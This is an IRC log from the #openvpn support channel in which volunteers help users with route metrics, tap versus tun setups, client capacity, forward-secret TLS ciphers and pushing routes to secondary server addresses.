11:16 -!- JSharpe [~JSharpe@31.205.63.22] has quit [Ping timeout: 272 seconds]
11:23 -!- mattock_afk is now known as mattock
11:26 -!- rhk [~androirc@118.141.247.149] has quit [Remote host closed the connection]
11:26 -!- rhk [~androirc@118.141.247.149] has joined #openvpn
11:32 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
11:36 -!- n2deep [n2deep@odin.sdf-eu.org] has quit [Ping timeout: 272 seconds]
11:37 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
11:50 -!- GHHHG [~Join@b.myshelter.net] has joined #openvpn
11:53 < GHHHG> Hey there. I'm having a problem in which a windows 7 computer running the openvpn client connected to a TAP/UDP server is not routing anything through the vpn. Upon checking the routing table I found out it contains the correct rules, but the metric for the existing connection is lower, even though in the network adapters advanced settings the vpn is set to have highest priority. Does anyone
11:53 < GHHHG> have any clues about this?
11:54 < GHHHG> I'm unable to change the metric to a lower value too... The command runs but it has no effect (I can only increase it)
11:55 < GHHHG> Other users with exact copies of the ovpn profile can use the vpn normally, so this is probably NOT an issue with openvpn directly but with windows. I was just hoping someone here would have seen it before and know how to deal with it.
11:55 < GHHHG> (exact copies except for the key and certificate; they are handled in the exact same way by the server, no scripts)
12:05 -!- mapps [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
12:05 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
12:07 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
12:07 -!- markp [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 272 seconds]
12:07 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 245 seconds]
12:08 -!- Blashyrkh [~michaeld@043-054-094-081.as39912.net] has joined #openvpn
12:19 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
12:21 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
12:21 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
12:31 -!- rhk [~androirc@118.141.247.149] has quit [Ping timeout: 260 seconds]
12:50 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Disconnected by services]
12:59 -!- caelian1 [~caelian@ovh.caelian.net] has quit [Quit: WeeChat 0.4.1]
13:01 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
13:05 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
13:11 -!- caelian [~caelian@ovh.caelian.net] has joined #openvpn
13:12 -!- AndroUser2 [~androirc@203.145.92.91] has joined #openvpn
13:13 <@debbie10t> GHHHG did you run as admin ?
13:13 < GHHHG> Great question
13:13 < GHHHG> I'm helping a friend solve this issue, actually
13:13 < GHHHG> Two weeks ago he was having trouble and I narrowed it down to openvpn not running as admin (windows home...)
13:14 < GHHHG> I would hope he did not for some reason go back to not running as admin, but let me check
13:14 <@debbie10t> are you using the GUI or the service to start openvpn
13:14 <@debbie10t> ?
13:14 < GHHHG> GUI
13:15 <@debbie10t> better double check then
13:16 < GHHHG> Confirmed, he still has every executable in /bin set to run as administrator
13:16 < GHHHG> The metric is 30 in case it matters
13:16 < GHHHG> The lower level adapter is at 20
13:16 < GHHHG> (It's a physical link to his university network)
13:18 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Disconnected by services]
13:19 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
13:20 -!- Devastator_ [~devas@186.214.14.243] has joined #openvpn
13:20 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 248 seconds]
13:20 -!- AndroUser2 [~androirc@203.145.92.91] has quit [Ping timeout: 246 seconds]
13:20 -!- Devastator_ [~devas@186.214.14.243] has quit [Changing host]
13:20 -!- Devastator_ [~devas@unaffiliated/devastator] has joined #openvpn
13:20 < GHHHG> Oh, wow
13:20 -!- Devastator_ is now known as Devastator
13:21 <@debbie10t> ?
13:21 < GHHHG> I think someone commented out the push for the 0.0.0.0 route on the server side :S Do give me a minute to test this
13:21 < GHHHG> Nope, my bad, it's correct
13:21 < GHHHG> I'll pastebin
13:22 < GHHHG> http://pastebin.com/guEPS5hL
13:22 < GHHHG> This is what he's getting
13:23 < GHHHG> It's exactly the same as my own setup (with the exception of the IP address) and I'm using it right now in this connection
13:23 < GHHHG> It's really very baffling
13:23 < GHHHG> And there have been no firewall changes recently
13:23 < GHHHG> It must be a Windows issue
13:23 < GHHHG> Or external
13:24 <@krzee> is that a ccd file?
13:24 < GHHHG> Yes
13:24 <@krzee> have you looked at the server log to be sure it's being read when the user connects?
13:25 <@debbie10t> hi krzee ;*
13:25 < GHHHG> He's being assigned the correct IP address
13:26 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Disconnected by services]
13:27 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
13:27 <@krzee> hi debbie10t
13:27 <@krzee> GHHHG, show me both logs, the server log should include the client connecting
13:27 <@krzee> !logs
13:27 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
13:28 <@krzee> verb 4 is good
13:28 <@ecrist> forums have been migrated.
13:29 -!- map is now known as Guest82167
13:30 <@debbie10t> well done ecrist .. not even a rumble let alone a bump !
13:33 < GHHHG> krzee: Give me a few minutes to put that together
13:36 < GHHHG> Can you remind me whether verb 3 is too much or not enough?
13:36 < GHHHG> Hm, not enough it appears
13:37 < GHHHG> I'll have to wait until my friend is back, because if I restart it now I think it will kill my remote desktop connection
13:47 < GHHHG> Setting server to verb 5...
13:47 <@krzee> looks good ecrist =]
13:48 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Quit: ZNC - http://znc.in]
13:48 <@krzee> if i go to http:// it kicks me back to https:// without eating my cookie, i love that =]
13:49 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
13:50 -!- Protected [~Join@b.myshelter.net] has joined #openvpn
13:52 -!- GHHHG [~Join@b.myshelter.net] has quit [Ping timeout: 268 seconds]
13:52 <@ecrist> krzee: I fixed that a while back.
13:53 <@krzee> well thank you for that
13:53 <@krzee> =]
13:57 -!- Protected is now known as GHHHG
13:57 -!- atmosx [~osx@217.70.broadband4.iol.cz] has joined #openvpn
14:02 < GHHHG> krzee: http://pastebin.com/YwhH3d5j
14:02 < GHHHG> I hope that's the right stuff
14:05 <@krzee> !configs
14:05 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
14:06 -!- pfoo [~pfoo@unaffiliated/pfoo] has quit [Remote host closed the connection]
14:06 <@krzee> GHHHG, ^
14:06 < GHHHG> ;)
14:06 < GHHHG> You already have the CCD entries; They all look the same
14:06 < GHHHG> I trust you don't need the other 15 users?
14:06 <@krzee> nah this 1 user is fine
14:06 < GHHHG> Awesome
14:06 < GHHHG> Just a minute then
14:07 <@krzee> but please do include it with what you're about to post
14:14 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 245 seconds]
14:14 -!- master_o1_master [~master_of@p4FD7B88F.dip0.t-ipconnect.de] has joined #openvpn
14:15 < GHHHG> krzee: http://pastebin.com/kVb8w5F7
14:15 -!- pfoo [~pfoo@unaffiliated/pfoo] has joined #openvpn
14:16 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
14:17 <@krzee> push "route 94.23.74.153 255.255.255.255 net_gateway"
14:17 <@krzee> get rid of that
14:17 <@krzee> hmm maybe not, gimme a sec
14:18 <@debbie10t> should that be "server-bridge"
14:18 <@debbie10t> mode tap etc . .
14:18 -!- master_of_master [~master_of@p4FF24B60.dip0.t-ipconnect.de] has quit [Ping timeout: 272 seconds]
14:18 < GHHHG> server-bridge where?
14:18 <@krzee> no
14:19 <@krzee> and why are you using dev tap GHHHG ?
14:19 < GHHHG> Back when I set this up, tun wasn't working; I don't remember exactly what about it was preventing me from doing what I wanted, but something was
14:19 < GHHHG> I have two IP ranges
14:19 < GHHHG> One has internet access and one doesn't
14:19 < GHHHG> (blocked on iptables)
14:20 <@krzee> you have a specific layer2 protocol you need over the vpn?
14:20 < GHHHG> I assign people IPs from either range
14:20 < GHHHG> And I want them all to be able to see each other in windows
14:20 <@krzee> tap tunnels ethernet frames tun tunnels ip traffic
14:20 < GHHHG> Right
14:20 < GHHHG> But
14:20 <@krzee> what is 192.168.10.0
14:20 <+pekster> GHHHG: You still don't need tap for that; supernet the 2 ranges you use and use static addressing via ccd or client-connect
14:20 < GHHHG> Sorry
14:21 < GHHHG> Many interruptions
14:21 < GHHHG> I'm doing that
14:21 <+pekster> If 10.8.1/24 can acccess the Internet and 10.8.0/24 can't, set your VPN to use 10.8.0/23 and see !static for how to assign each "type" of user to the right range, then use that range in your firewall to filter them based on policy
14:21 <+pekster> No need for tap to do it
14:21 < GHHHG> In order for windows to let the computers see each other, they must be on a home or work network
14:22 <@krzee> you mean like "network neighborhood" ?
14:22 < GHHHG> For that to be possible the vpn must tell windows it's capable of routing any IP address
14:22 < GHHHG> I'm not sure why
14:22 < GHHHG> yes
14:22 <@krzee> wins server
14:22 <@krzee> !wins
14:22 <@vpnHelper> "wins" is http://oreilly.com/catalog/samba/chapter/book/ch07_03.html is a good link for seeing how to run WINS on samba
14:22 <@krzee> but either way
14:22 <@krzee> what is 192.168.10.0
14:23 < GHHHG> That's a local address
14:23 < GHHHG> There is no reason for it to be there
14:23 <@krzee> why do you have:
14:23 <@krzee> push "route 192.168.10.0 255.255.255.0 net_gateway"
14:23 < GHHHG> My LAN has two chained subnets
14:23 < GHHHG> If I don't put that there, it will try to access the far router over the vpn
14:24 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Operation timed out]
14:25 <@krzee> heres whats going on
14:25 <@krzee> read --redirect-gateway in the manual
14:25 <@krzee> your push "route 94.23.74.153 255.255.255.255 net_gateway" is doing the exact same thing --redirect-gateway already does
14:25 <@krzee> it is a helper directive, like --server which you chose to not use
14:26 < GHHHG> Back then I just hacked at it until it worked as intended, I must have dropped server for some reason
14:26 < GHHHG> So
14:26 < GHHHG> I should remove that route line?
14:26 < GHHHG> That's it?
14:26 <@krzee> that'll fix that client's error
14:26 < GHHHG> Awesome. Thanks :)
14:27 < GHHHG> I wonder why it only happened to him
14:27 < GHHHG> Maybe something to do with him having way more network adapters than a normal person usually does
14:27 < GHHHG> and weird university vpn stuff
14:28 < GHHHG> I think I tried to use samba back then, but was unable to get it to work
14:28 < GHHHG> If that makes you slightly less horrified at my setup
14:28 < GHHHG> Probably not
14:28 -!- AginLap [~AginLap@109.201.152.26] has joined #openvpn
14:29 <+pekster> Liine 58 doesn't make much sense either; that range is already on-link from your tap adressing the client gets on line 59
14:29 <@krzee> actually im horrified that samba was hard to get working
14:29 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
14:30 <@krzee> good point re lines 58/59^
14:30 < GHHHG> You're all being very nice and helpful now; That hasn't always been my experience, though
14:30 < GHHHG> Back then it was my first contact with even the concept of VPN and I was extremely confused and frustrated
14:31 < GHHHG> Those lines are used for clients that don't have internet access
14:31 <+pekster> Line 58 is _always_ pointless in your setup
14:31 < GHHHG> No no
14:31 <@krzee> line 59 uses a netmark of 255.255.255.0
14:31 < GHHHG> For those clients I push an extra route of 0.0.0.0/0 to the local gateway
14:31 <@krzee> so line 58 doesnt matter
14:31 < GHHHG> Otherwise openvpn tries to route their internet packets to the vpn
14:31 <+pekster> You're pushing the 10.10.0.0/24 as on link
14:31 < atmosx> How many openvpn connecion could an 1 Ghz CPU handle with 1 GB of RAM?
14:31 <@krzee> line 59 makes line 58 pointless as pekster says
14:32 <+pekster> Pushing a network for an address you're already on is worthless (though it won't hurt in this case)
14:32 < atmosx> is 40 is a safe bet?
14:32 <+pekster> atmosx: Depends a lot on your intended use and loading
14:32 <@krzee> atmosx, depends what they're doing
14:32 < atmosx> krzee: problem is the encryption done by the CPU right?
14:32 < GHHHG> Oh, I see what you mean
14:32 < GHHHG> That makes sense
14:33 < GHHHG> Again, probably that's a leftover from a much messier setup after chopping out a lot of lines
14:33 < GHHHG> Then I just copied and pasted the same ccd for everybody without paying much attention
14:35 <+pekster> atmosx: You might be able to approach around 1000 connected clients "doing nothing", although in such a test I actually performed with slightly better hardware, the CPU traffic of processing keepalives every 10 seconds per client starts to hurt (that's 100 keepalive packets per second for the server to process)
14:35 <@krzee> atmosx, could be a number of problems, maybe its cpu and crypto, maybe bandwidth, maybe it cant handle pushing as many bits as you want even without crypto?
14:36 <+pekster> Check what your bottleneck is: watch CPU, memory (and swap if you have that many clients or other stuff running) and bandwidth utilization
14:36 <@krzee> ^ that
14:37 <@debbie10t> a good quality network card will help for offloading . .
14:37 < atmosx> krzee: okay... so I need to actually implement that and see how it goes.
14:38 < atmosx> pekster: thanks for the comment
14:38 <+pekster> debbie10t: LRO doesn't apply unless TCP is used (don't use tcp for openvpn) and you can't offload crypto, which is most of the CPU sink
14:41 <@debbie10t> <- idiot ..
14:41 <@debbie10t> :)
14:45 <@debbie10t> can I ask a question about access-server please ?
14:46 <@ecrist> no
14:46 <@ecrist> !as
14:46 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
14:46 <@krzee> sure, ask it in their channel
14:46 <@debbie10t> okey-dokey
14:46 <@krzee> they know it, we dont
14:47 <@debbie10t> no prob ..
14:49 <@vpnHelper> Announcement from my owner (support): woohoo
14:54 -!- GHHHG [~Join@b.myshelter.net] has quit [Ping timeout: 245 seconds]
15:16 -!- Denial [Denial@90.216.209.93] has quit []
15:17 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 256 seconds]
15:32 -!- mattock is now known as mattock_afk
15:56 -!- bantu [~quassel@phpbb/developer/bantu] has joined #openvpn
15:58 -!- KaiForce [~chatzilla@107-223-70-10.lightspeed.bcvloh.sbcglobal.net] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 24.0/20130910160258]]
15:58 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
15:58 < bantu> Hello everyone. I am experiencing poor tunnel performance. It's impossible to use RTMP and HTTP transfer is about 120K/s. I am using a UDP tunnel and it seems like it is working fine for a while after restarting the openVPN process.
16:00 -!- alanjf [~ajf@unaffiliated/alanjf] has quit []
16:05 -!- debbie10t [~ma1com10t@host-92-20-25-149.as13285.net] has left #openvpn []
16:17 -!- Sander^lap [sander@ellj90.ip.ssc.net] has joined #openvpn
16:23 < Sander^lap> does openvpn use ECDSA?
16:26 -!- atmosx [~osx@217.70.broadband4.iol.cz] has left #openvpn ["Lost in trance"]
16:30 < Sander^lap> Or maybe some other macanism... so none is able to decrypt the traffic if anyone got hold of all the keys.
16:31 <+pekster> Sander^lap: You don't need ECDSA for that; any perfect-forward secret TLS cipher works
16:31 <+pekster> Use a TLS cipher with DHE and you're set
16:33 < Sander^lap> Ok. Thanks:)
16:33 -!- s0meone [~someone@somewhe.re] has quit [Quit: Quit]
16:34 -!- s0meone [someone@2600:3c01::f03c:91ff:fedf:feb8] has joined #openvpn
16:34 <+pekster> To answer your original question, no ECC support is in openvpn currently. There's a git-master commit that adds TLSv1.2 support, but that doesn't solve the lack of ECDH negotiation support
16:45 -!- Sander^lap is now known as Sander^Lap
16:54 -!- d1gital [~d1gital@fsf/member/d1gital] has joined #openvpn
16:55 < d1gital> Is it possible to send a UDP broadcast to all members of the VPN without switching everything over to bridged mode?  Only the host device needs to be able to broadcast to the network, the clients only need to receive.
16:58 <+pekster> broadcast or multicast works (ignoring IGMP snooping on some switches) by flooding the L2 packets to the all-ones, or broadcast address
16:59 <+pekster> So no, when you don't have an L2 address that won't work. Setting up a multicast routing domain (f.ex, with pimd) could allow you to multicast across routing barriers, but that's not the same as a broadcast
17:03 < d1gital> pekster: thanks, I'll read about multicast.
17:23 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 248 seconds]
17:47 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 245 seconds]
17:49 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
17:54 -!- mathadder [~mathadder@unaffiliated/mathadder] has joined #openvpn
18:12 -!- n2deep [n2deep@odin.sdf-eu.org] has quit [Ping timeout: 272 seconds]
18:13 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
18:13 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
18:18 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
18:40 -!- mathadder [~mathadder@unaffiliated/mathadder] has quit [Quit: good bye!]
18:58 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
18:59 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:00 -!- AginLap [~AginLap@109.201.152.26] has quit [Quit: Leaving]
19:02 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
19:08 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
19:12 -!- u0m3_ is now known as u0m3
19:46 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 260 seconds]
19:46 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 245 seconds]
19:57 -!- raidz is now known as raidz_away
20:18 -!- emid [~emid@192.241.162.156] has joined #openvpn
21:20 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
21:53 -!- akurilin [~akurilin@208.185.21.146] has quit [Remote host closed the connection]
21:54 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
21:58 -!- aji [~alex@atheme/member/aji] has quit [Ping timeout: 245 seconds]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:28 -!- novaflash is now known as novaflash_away
22:28 -!- novaflash_away is now known as novaflash
22:31 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 246 seconds]
22:34 -!- aji [~alex@atheme/member/aji] has joined #openvpn
22:34 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
23:39 -!- kirin` [telex@gateway/shell/anapnea.net/x-ugygbmulwfleueno] has quit [Ping timeout: 245 seconds]
23:41 -!- kirin` [telex@gateway/shell/anapnea.net/x-oqulugjldldrmjik] has joined #openvpn
--- Day changed Sat Oct 26 2013
00:25 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:37 <@krzee> ecrist, is there a rss feed for the forum for the bot to announce on in the forum channel?
00:37 <@krzee> !forum
00:37 <@vpnHelper> "forum" is (#1) The official OpenVPN support forum is available at http://forums.openvpn.net or (#2) you can join #OpenVPN-Forum to see the forum-feed announcements if you want to.
00:37 <@krzee> !forums
00:37 <@krzee> !forumfeed
00:37 <@vpnHelper> Unable to download feed.
01:06 -!- fetcherr [~fetcherr@162.212.255.121] has joined #openvpn
01:07 < fetcherr> i have a question for pekster if your available
01:07 < fetcherr> or anyone else willing to give advice
01:08 < fetcherr> if i was to offer vpn services how would i go about setting it up so someone else cant use there config.ovpn file and the ca.crt and username and password is there a way to block it so only that computer can connect that i give permission to?
01:11 < mist_> u could use a script to check a system variable and verify that it really is the inteded system or stop the process otherwise? =)
01:13 < fetcherr> a old friend of mine (that i no longer speak to) had his setup with a .p12 file with the config.ovpn and he added a HWID or some sort of computer id to the config for it to connect not sure what was on his server end
01:26 -!- fetcherr [~fetcherr@162.212.255.121] has quit []
01:35 -!- mattock_afk is now known as mattock
01:39 <+pekster> What a goofy question
01:41 <@krzee> very
01:41 <+pekster> "If I give away my housekey and alarm code, how do I stop all these people with my key and alarm code from entering my home? Can I ask the cat to?"
01:43 -!- akurilin [~akurilin@208.185.21.146] has quit [Quit: Leaving]
01:49 <@krzee> http://www.ircpimps.org/yealink-snom.fucked.mp4
01:49 <@krzee> thats a lil conference call about how all voip companies who use auto-provisioning are easily scannable for login/passwords
01:49 <@krzee> hey, they tried to get vendors to care first
01:56 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Operation timed out]
01:58 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
02:05 -!- _3r3bus_ [~3r3bus@unaffiliated/3r3bus/x-4072414] has joined #openvpn
02:16 -!- vvinothkumar [~vinothkum@122.167.98.188] has joined #openvpn
02:40 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Operation timed out]
02:40 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
02:43 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Read error: Operation timed out]
02:57 -!- JSharpe_ [~JSharpe@ns2306746.ovh.net] has quit [Read error: Connection reset by peer]
03:00 -!- JSharpe_ [~JSharpe@31.205.63.22] has joined #openvpn
03:07 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
03:08 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
03:08 -!- mode/#openvpn [+v s7r] by ChanServ
03:30 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:47 -!- mattock is now known as mattock_afk
03:58 < _3r3bus_> !welcome
03:58 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
03:58 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
04:19 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has joined #openvpn
04:25 -!- vvinothkumar [~vinothkum@122.167.98.188] has quit [Ping timeout: 272 seconds]
04:44 -!- vvinothkumar [~vinothkum@122.167.98.188] has joined #openvpn
05:07 -!- _3r3bus_ [~3r3bus@unaffiliated/3r3bus/x-4072414] has quit [Ping timeout: 246 seconds]
05:09 -!- _3r3bus_ [~3r3bus@unaffiliated/3r3bus/x-4072414] has joined #openvpn
05:16 -!- Fohlen [~Fohlen@static.196.152.46.78.clients.your-server.de] has joined #openvpn
06:33 -!- AginLap [~AginLap@109.201.152.26] has joined #openvpn
06:42 <@ecrist> krzee: yes, but we disabled it due to the high traffic
06:55 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
07:20 -!- AginLap [~AginLap@109.201.152.26] has quit [Quit: Leaving]
07:22 -!- AginLap [~AginLap@109.201.152.26] has joined #openvpn
07:24 -!- AginLap [~AginLap@109.201.152.26] has quit [Client Quit]
07:24 -!- AginLap [~AginLap@109.201.152.26] has joined #openvpn
07:41 -!- Guest82167 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 272 seconds]
08:19 -!- _3r3bus_ [~3r3bus@unaffiliated/3r3bus/x-4072414] has quit [Read error: Connection reset by peer]
08:41 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
09:18 -!- Guest82167 [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
09:38 <@krzee> ecrist, was the rss getting too much traffic, or was the announcing just too much for this irc channel?
10:22 -!- vvinothkumar [~vinothkum@122.167.98.188] has quit [Ping timeout: 245 seconds]
10:25 -!- GHHHG [~Join@b.myshelter.net] has joined #openvpn
10:29 -!- Protected [~Join@b.myshelter.net] has joined #openvpn
10:29 -!- GHHHG [~Join@b.myshelter.net] has quit [Ping timeout: 252 seconds]
10:30 < Protected> Hey there. Another question - What do I need to do if I want to route connections to IP addresses that are in the same server as the VPN (but which are not the address where OpenVPN is running) through the VPN?
10:30 < Protected> Some of you saw yesterday that I had rules to route those around the VPN; I want to get rid of all of them, and route everything through the VPN
10:31 < Protected> But if I just get rid of the routes, I can no longer reach those addresses at all...
10:31 < Protected> (Firewall issue probably?)
10:31 <+pekster> "to IP addresses tht are in the same server as the VPN" ??
10:31 <+pekster> What does "in the same server" mean?
10:32 < Protected> The same server as the OpenVPN server software, sorry about that
10:32 < Protected> I thought it would just work without any changes, but it isn't working
10:32 <+pekster> On the same host? Behind the host? Are these RFC1918 IPs behind a router acting as the VPN server. Be specific, not vauge
10:32 < Protected> There is a computer which runs the openvpn server
10:32 < Protected> It has multiple IP addresses directly assigned to it
10:33 < Protected> openvpn listens on a single address
10:33 <+pekster> Ah, so you want to route to the secondary IPs across your VPN link? In that case push (or have the client define) a route for the IPs of interest
10:33 <+pekster> You can push a /32 route if you'd like
10:34 < Protected> So I should explicitly push a route telling the client to access those ips through t he vpn gateway?
10:34 < Protected> And that should do the trick?
10:34 <+pekster> Yup, that's how routing works
10:35 < Protected> But it isn't :( I guess I have something wrong with iptables somewhere
10:35 < Protected> Thanks for the clarification
10:35 < Protected> I'll look into it
10:36 <+pekster> If the client is linux, you can show the route for that IP with `ip route show 203.0.113.17` where that's the target IP
10:42 -!- flxmmr [~quassel@p5DE97FC2.dip0.t-ipconnect.de] has joined #openvpn
10:47 -!- flxmmr [~quassel@p5DE97FC2.dip0.t-ipconnect.de] has quit [Remote host closed the connection]
10:55 -!- Protected [~Join@b.myshelter.net] has quit [Ping timeout: 245 seconds]
10:58 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has quit [Read error: Connection reset by peer]
10:59 -!- crass [~crass@cpe-70-113-30-216.austin.res.rr.com] has joined #openvpn
11:12 -!- JSharpe__ [~JSharpe@46.165.208.207] has joined #openvpn
11:14 -!- bogie [bogie@2001:4ba0:fffd:65::101] has quit [Ping timeout: 245 seconds]
11:16 -!- JSharpe_ [~JSharpe@31.205.63.22] has quit [Ping timeout: 272 seconds]
11:28 -!- bogie [~bogie@b02.a01.ca] has joined #openvpn
11:30 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has quit [Remote host closed the connection]
11:30 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has joined #openvpn
11:34 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has quit [Remote host closed the connection]
11:34 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has joined #openvpn
11:37 -!- oc80z [~oc80z@blea.ch] has quit [Quit: ZNC - http://znc.in]
11:39 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
11:47 -!- joker_89 [~ircap@unaffiliated/joker-89/x-0901110] has joined #openvpn
11:47 < joker_89> hi
11:48 < joker_89> I want to connect throught openvpn to my local network and also i want to access to the Free Network that is connected. I have this diagram: http://es.tinypic.com/view.php?pic=53u00g&s=5
11:50 -!- kubbing_ [~kubbing@124-238-13-46.tmcz.cz] has joined #openvpn
11:50 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has quit [Read error: Connection reset by peer]
11:50 <+pekster> Don't use 192.168.1/24 on your server end; that's going to cause you problems
11:51 <+pekster> Otherwise just push a route for the extra network and probably SNAT on whatever router is handling the traffic going in unless it knows how to reach your VPN network
11:56 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
12:02 -!- joker_89 [~ircap@unaffiliated/joker-89/x-0901110] has quit [Ping timeout: 272 seconds]
12:03 -!- Gruu [~Gruu@91.240.67.139] has joined #openvpn
12:03 -!- Gruu [~Gruu@91.240.67.139] has quit [Remote host closed the connection]
12:07 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:08 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
12:08 -!- joker_89 [~ircap@unaffiliated/joker-89/x-0901110] has joined #openvpn
12:08 < joker_89> re
12:09 < joker_89> someone says me an answerd but i fell
12:10 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Client Quit]
12:11 < joker_89> which was the response?
12:11 < joker_89> i have no log
12:12 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
12:12 < joker_89> well, i repeat the question , was: i want to connect to my local network that have another connection in another network , and i want to connect remotely to this connection throught vpn: http://i42.tinypic.com/53u00g.png
12:24 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
12:24 -!- emid [~emid@192.241.162.156] has quit [Ping timeout: 260 seconds]
12:24 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
12:33 -!- emid [~emid@192.241.162.156] has joined #openvpn
12:46 -!- joker_89 [~ircap@unaffiliated/joker-89/x-0901110] has quit [Quit: • IRcap • 8.72 •]
12:47 -!- emid [~emid@192.241.162.156] has quit [Quit: quit]
13:42 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
13:59 -!- Lope [~Lope@41-135-64-33.dsl.mweb.co.za] has joined #openvpn
